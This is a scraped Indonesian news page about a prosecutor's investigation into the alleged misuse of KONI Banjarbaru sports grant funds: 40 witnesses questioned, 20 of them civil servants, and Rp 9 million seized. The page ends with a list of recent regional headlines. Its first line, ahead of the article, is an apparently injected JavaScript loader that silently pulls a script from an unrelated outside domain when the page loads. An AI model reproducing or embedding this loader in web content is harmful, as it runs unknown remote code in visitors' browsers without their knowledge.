(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Penyidikan Dugaan Penyelewengan Dana Hibah KONI Banjarbaru, 20 Saksi dari ASN Diperiksa


BANJARBARU, Kasus penyelewengan dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru sebesar Rp 6,7 miliar terus bergulir pada tahap penyidikan. Sudah melakukan pemeriksaan kepada 40 orang saksi, Kejaksaan Negeri (Kejari) Banjarbaru ternyata masih belum menetapkan satupun tersangka dalam kasus ini.

Meski begitu, Kepala Kejari Banjarbaru Silvia Desty Rosalina mengakui diantara 40 saksi yang sudah diperiksa, rupanya banyak saksi yang berstatus Apratur Sipil Negara (ASN).

“Diantara jumlah saksi tersebut, ada 20 saksi yang berstatus ASN. Ada yang menjabat sebagai Eselon II, tapi tidak bisa kita beritau siapa saja nama-namanya. Pemeriksaan para saksi tidak ditemukan kendala dan semuanya berjalan sesuai dengan prosedur pemeriksaan,” katanya.

Baca Juga : Sekda dan Kepala BPKAD Banjarbaru Penuhi Panggilan Kejari

Saksi berstatus ASN ini memang bukanlah rahasia umum. Sebab, pada bukan Juli lalu, rentetan dari panggilan sejumlah pejabat dilakukan Kejari Banjarbaru. Contohnya saja, Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) Banjarbaru Jainuddin, Kadisparpora Banjarbaru Hidayaturrahman juga memenuhi panggilan bersama Kabag Hukum Mirza Reza.

“Kita ditanyai berkaitan dengan landasan hukum dana hibah untuk KONI,” diakui Mirza saat itu.

Melihat banyaknya saksi yang berstatus ASN, memang ditegaskan Silvia bahwa dalam proses penyidikan tidak hanya melibatkan pengurus Cabang Olahraga (Cabor) KONI Banjarbaru saja. Sebabnya, mekanisme penyalurah dana hibah dari Pemkot Banjarbaru melalui APBD tahun anggaran 2018 itu memang melibatkan banyak pihak.

“Memang kasus danah hibah ini tidak hanya dipetakan dari pengurus Cabor KONI saja. Pokoknya semua pihak terkait, baik itu dari pemerintah dan bahkan atlet pun kita panggil sebagai saksi,” kata Kejari Banjarbaru.

Dalam proses penyidikan ini, Kejari Banjarbaru juga tidak hanya melakukan pemeriksaan terhadap para saksi. Namun juga, mengumpulkan alat bukti yang lain.

Baca Juga : Kasus Dana Hibah KONI, Kejari Banjarbaru Amankan Pecahan Uang Seratus Ribu Total Rp 9 Juta

Penyidikan terakhir, Kejari Banjarbaru mengamankan pecahan uang seratus ribu dengan total sebesar Rp 9 juta. Uang itu, berasal dari seseorang yang tidak bisa ingin sebutkan namanya.

Silvia mengatakan, sampai saat ini untuk alat bukti belum ada tambahan selain uang Rp 9 juta tersebut. Namun ia, terus mengupayakan uang yang dikumpulkannya dapat menjadi ganti rugi uang negara. (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.